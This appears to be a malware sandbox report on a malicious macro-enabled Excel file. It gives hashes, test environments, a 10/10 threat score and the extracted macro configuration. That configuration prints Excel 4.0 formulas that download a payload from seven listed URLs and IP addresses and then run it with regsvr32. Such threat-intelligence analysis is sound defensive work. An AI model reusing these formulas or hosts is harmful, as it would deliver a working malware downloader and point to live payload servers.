General
-
Target
2f62e5a537ffe804ce2ee5a07616b7b713c337ddc919ca90b169106b57d102b8
-
Size
44KB
-
Sample
241120-lsf2bswank
-
MD5
5b7d7f0302540c1d06a2bdb52b225879
-
SHA1
6e653488ff194ede15750546e863d6833ddebe88
-
SHA256
2f62e5a537ffe804ce2ee5a07616b7b713c337ddc919ca90b169106b57d102b8
-
SHA512
b3ae854c7eb64ae7d93decc55c1ed5a4f0d27eea33d43d1dc9144b3425effdc8b055eb7e6a3658e9df8d4dfe66909c7d41c9ac4815045f3a139e11a22e314ff9
-
SSDEEP
768:m1kICkZNRvmHazrfRmUOcIIGq9hqN6994E3ewNXz8OP6AQPHWZinVd0VhkhB:mKItBvGazLRYIzhqOisNz8OP6Tein0Vo
Behavioral task
behavioral1
Sample
2f62e5a537ffe804ce2ee5a07616b7b713c337ddc919ca90b169106b57d102b8.xlsm
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
2f62e5a537ffe804ce2ee5a07616b7b713c337ddc919ca90b169106b57d102b8.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://www.agretto.com/Template/ziasuz5w8pS08Gm2/
http://www.agnesleung.com/raw.backup/j4ry/
https://lifebotl.com/Response/WllkQWM/
https://livejagat.com/h/SjpRvD/
http://185.187.70.35/wordpress_bo/srvoaI2MBFc/
http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/
http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agretto.com/Template/ziasuz5w8pS08Gm2/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agnesleung.com/raw.backup/j4ry/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/Response/WllkQWM/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/SjpRvD/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()
Extracted
http://www.agretto.com/Template/ziasuz5w8pS08Gm2/
http://www.agnesleung.com/raw.backup/j4ry/
https://lifebotl.com/Response/WllkQWM/
https://livejagat.com/h/SjpRvD/
http://185.187.70.35/wordpress_bo/srvoaI2MBFc/
http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/
http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/
Targets
-
-
Target
2f62e5a537ffe804ce2ee5a07616b7b713c337ddc919ca90b169106b57d102b8
-
Size
44KB
-
MD5
5b7d7f0302540c1d06a2bdb52b225879
-
SHA1
6e653488ff194ede15750546e863d6833ddebe88
-
SHA256
2f62e5a537ffe804ce2ee5a07616b7b713c337ddc919ca90b169106b57d102b8
-
SHA512
b3ae854c7eb64ae7d93decc55c1ed5a4f0d27eea33d43d1dc9144b3425effdc8b055eb7e6a3658e9df8d4dfe66909c7d41c9ac4815045f3a139e11a22e314ff9
-
SSDEEP
768:m1kICkZNRvmHazrfRmUOcIIGq9hqN6994E3ewNXz8OP6AQPHWZinVd0VhkhB:mKItBvGazLRYIzhqOisNz8OP6Tein0Vo
Score10/10 -